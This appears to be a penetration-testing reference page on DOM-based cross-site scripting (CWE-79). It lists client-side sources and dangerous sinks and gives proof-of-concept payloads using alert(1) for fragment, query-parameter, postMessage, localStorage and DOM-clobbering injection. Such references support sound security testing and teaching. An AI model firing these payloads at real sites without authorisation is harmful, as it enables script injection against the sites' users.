DOM-Based XSS
| CWE | CWE-79 |
| Tools | dalfox |
| Difficulty | 🔴 advanced |
Exploit DOM-Based XSS​
DOM-based XSS occurs entirely in client-side code. The server response is legitimate, but client-side JavaScript processes user input insecurely, writing it to the DOM without proper sanitization.
Technical flow:
- Malicious input arrives via URL fragment, query parameter, or other source
- Client-side JavaScript reads the input from a source
- JavaScript writes the input to a dangerous sink without sanitization
- Browser executes the payload
Sources (Where Malicious Data Enters)​
document.URL,document.documentURIdocument.location(and its properties:hash,search,href,pathname)document.referrerwindow.namewindow.postMessagedatalocalStorage/sessionStoragedocument.cookie- Web Storage API, IndexedDB
- History API (
history.pushState/replaceState) - URL fragment (
#)
Sinks (Dangerous Functions That Execute/Render Data)​
Execution Sinks (Direct Code Execution):
eval()setTimeout(string),setInterval(string)Function()constructorexecScript(),msSetImmediate(),setImmediate()
HTML Modification Sinks:
element.innerHTML,element.outerHTMLdocument.write(),document.writeln()
URL-Based Sinks:
location.href =,location.assign(),location.replace()window.open()element.src =,element.href =
jQuery Sinks:
$().html(),$().append(),$().prepend()$().after(),$().before(),$().replaceWith()$.parseHTML()
DOM XSS Payloads​
Fragment-Based (Hash) Injection:
https://target.com/page#<script>alert(1)</script>
https://target.com/page#"><img src=x onerror=alert(1)>
https://target.com/page#javascript:alert(1)
Query Parameter to DOM:
https://target.com/search?q=<script>alert(1)</script>
https://target.com/page?callback=alert
https://target.com/page?template={{constructor.constructor('alert(1)')()}}
PostMessage Exploitation:
// From attacker page, send message to vulnerable iframe
targetWindow.postMessage('<img src=x onerror=alert(1)>', '*');
Web Storage Poisoning:
// If the application reads from localStorage unsafely
localStorage.setItem('userPrefs', '<img src=x onerror=alert(1)>');
// Then navigate victim to page that reads and renders this value
DOM Clobbering:
<!-- Override JavaScript variables via DOM elements -->
<form id="config"><input name="apiUrl" value="javascript:alert(1)"></form>
<!-- If a script does: location = config.apiUrl -->